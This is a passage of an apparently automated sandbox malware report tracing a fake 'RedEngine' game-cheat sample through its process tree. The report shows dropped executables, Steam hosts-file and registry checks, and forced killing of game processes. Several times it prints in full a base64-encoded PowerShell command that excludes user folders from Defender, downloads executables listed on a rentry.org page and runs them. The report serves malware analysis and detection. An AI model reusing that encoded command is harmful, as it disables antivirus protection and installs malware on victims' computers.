    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1568
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:868
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5132
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7524
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6108
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7388
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7360
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:868
- - C:\Users\Admin\AppData\Roaming\mopebpra.il01.exe
    "C:\Users\Admin\AppData\Roaming\mopebpra.il01.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:4436
- - C:\Users\Admin\AppData\Roaming\mopebpra.il02.exe
    "C:\Users\Admin\AppData\Roaming\mopebpra.il02.exe"
    3⤵
    - Executes dropped EXE
    PID:1644
- - C:\Users\Admin\AppData\Roaming\mopebpra.il03.exe
    "C:\Users\Admin\AppData\Roaming\mopebpra.il03.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:4992
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\37FB.tmp\37FC.tmp\37FD.bat C:\Users\Admin\AppData\Roaming\mopebpra.il03.exe"
      4⤵
      PID:3368
    - - C:\Windows\system32\where.exe
        
        where node
        5⤵
        
        PID:4880
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3548

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
PID:5224
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding E3DE84D418F2CE7ED000627210627CF0
  2⤵
  - Loads dropped DLL
  PID:5420
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding F771DA8112EDB0ED44F2F34CF6C1B47C E Global\MSI0000
  2⤵
  PID:6848
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 31DC5496770A5C64E4FB093AE274125C
  2⤵
  PID:7888

C:\Users\Admin\AppData\Local\Temp\Temp1_RedEngine.zip\RedEngine.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_RedEngine.zip\RedEngine.exe"
1⤵
PID:5712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5896
- - C:\Users\Admin\AppData\Roaming\cdvff4nc.wrd0.exe
    "C:\Users\Admin\AppData\Roaming\cdvff4nc.wrd0.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:5944
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\736D.tmp\736E.tmp\736F.bat C:\Users\Admin\AppData\Roaming\cdvff4nc.wrd0.exe"
      4⤵
      PID:5824
    - - C:\Windows\system32\chcp.com
        
        chcp 1251
        5⤵
        
        PID:3576
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:1996
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:6008
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:5272
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        5⤵
        
        PID:5912
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        5⤵
        
        PID:5964
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        
        PID:6032
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        5⤵
        
        PID:6028
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        
        PID:5988
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5316
    - - C:\Windows\system32\find.exe
        
        find /i "tf_win64.exe"
        5⤵
        
        PID:5940
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im tf_win64.exe
        5⤵
        Kills process with taskkill
        
        PID:6064
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6200
    - - C:\Windows\system32\find.exe
        
        find /i "dota2.exe"
        5⤵
        
        PID:6404
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im dota2.exe
        5⤵
        Kills process with taskkill
        
        PID:5976
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5268
    - - C:\Windows\system32\find.exe
        
        find /i "cs2.exe"
        5⤵
        
        PID:800
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cs2.exe
        5⤵
        Kills process with taskkill
        
        PID:5312
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:2200
    - - C:\Windows\system32\find.exe
        
        find /i "RustClient.exe"
        5⤵
        
        PID:5160
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RustClient.exe
        5⤵
        Kills process with taskkill
        
        PID:5916
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5664
    - - C:\Windows\system32\find.exe
        
        find /i "GTA5.exe"
        5⤵
        
        PID:6396
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im GTA5.exe
        5⤵
        Kills process with taskkill
        
        PID:6320
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5696
    - - C:\Windows\system32\find.exe
        
        find /i "TslGame.exe"
        5⤵
        
        PID:508
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im TslGame.exe
        5⤵
        Kills process with taskkill
        
        PID:5312
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5792
    - - C:\Windows\system32\find.exe
        
        find /i "RainbowSix.exe"
        5⤵
        
        PID:3552
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RainbowSix.exe
        5⤵
        Kills process with taskkill
        
        PID:2936
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:6060
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6916
    - - C:\Windows\system32\find.exe
        
        find /i "steam.exe"
        5⤵
        
        PID:5156
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im steam.exe
        5⤵
        Kills process with taskkill
        
        PID:6868
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:5272
    - - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""
        5⤵
        
        PID:6900
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5132
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6184
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6208
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6364
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:460
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6624
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6360
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5708
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6332
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6788
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5612
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:6824
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4436
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6468
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5692
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6244
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6416
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6420
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6916
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:744
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5552
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6168
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6160
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7064
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7256
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7296
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7304
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:8048
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7448
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6412
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7508
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5848
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7636
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5128
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6916
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:7348
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1568
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7384
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6016
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4436
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2624
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:8116
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7432
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1384
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7208
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7384
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7192
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5344
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7504
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6364
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7412
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5720
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:8180
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:8028
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7520
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7536
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:8016
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6824
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6376
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:7668
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:8136
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7352
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7400
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7324
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7728
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7976
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:8116
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7420
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:8068
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7696
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:8064
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6664
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5696
- - C:\Users\Admin\AppData\Roaming\cdvff4nc.wrd1.exe
    "C:\Users\Admin\AppData\Roaming\cdvff4nc.wrd1.exe"
    3⤵
    - Executes dropped EXE
    PID:508
- - C:\Users\Admin\AppData\Roaming\cdvff4nc.wrd2.exe
    "C:\Users\Admin\AppData\Roaming\cdvff4nc.wrd2.exe"
    3⤵
    - Executes dropped EXE
    PID:4860
- - C:\Users\Admin\AppData\Roaming\cdvff4nc.wrd3.exe
    "C:\Users\Admin\AppData\Roaming\cdvff4nc.wrd3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:5036
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7487.tmp\7488.tmp\7489.bat C:\Users\Admin\AppData\Roaming\cdvff4nc.wrd3.exe"
      4⤵
      PID:5796
    - - C:\Windows\system32\where.exe
        
        where node
        5⤵
        
        PID:5444
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        
        PID:4060

C:\Users\Admin\Downloads\RedEngine\RedEngine.exe
"C:\Users\Admin\Downloads\RedEngine\RedEngine.exe"
1⤵
PID:2200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5864
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2608
- - C:\Users\Admin\AppData\Roaming\kmxnbwsm.rmp0.exe
    "C:\Users\Admin\AppData\Roaming\kmxnbwsm.rmp0.exe"
    3⤵
    PID:7096
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\89A5.tmp\89A6.tmp\89A7.bat C:\Users\Admin\AppData\Roaming\kmxnbwsm.rmp0.exe"
      4⤵
      PID:6548
    - - C:\Windows\system32\chcp.com
        
        chcp 1251
        5⤵
        
        PID:5884
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:7076
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:7124
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:6780
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        5⤵
        
        PID:7048
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        5⤵
        
        PID:5676
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        
        PID:7152
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        5⤵
        
        PID:5952
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
